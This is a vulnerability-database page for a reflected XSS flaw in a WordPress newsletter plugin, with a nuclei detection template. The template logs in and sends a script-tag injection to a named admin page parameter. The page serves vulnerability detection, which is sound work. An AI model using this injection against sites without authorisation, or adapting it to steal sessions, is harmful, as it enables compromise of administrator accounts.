Browse / CVEs / CVE-2024-13098
CVE-2024-13098· megamindstechnologies / wordpress email newsletter· CWE-79
WordPress Email Newsletter - Reflected XSS
WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
Impact
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to the latest version of the plugin where the issue is fixed.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>`
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")Run it with nuclei: nuclei -id CVE-2024-13098 -u <target>
The full check
id: CVE-2024-13098
info:
name: WordPress Email Newsletter - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://wpscan.com/vulnerability/eac71f70-993e-4353-8550-affb24c61c02/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-13098
cwe-id: CWE-79
epss-score: 0.00727
epss-percentile: 0.54487
cpe: cpe:2.3:a:megamindstechnologies:wordpress_email_newsletter:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: megamindstechnologies
product: wordpress_email_newsletter
publicwww-query: "/plugins/wp-email-newsletter/"
tags: cve,cve2024,megamindstechnologies,wordpress-email-newsletter,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from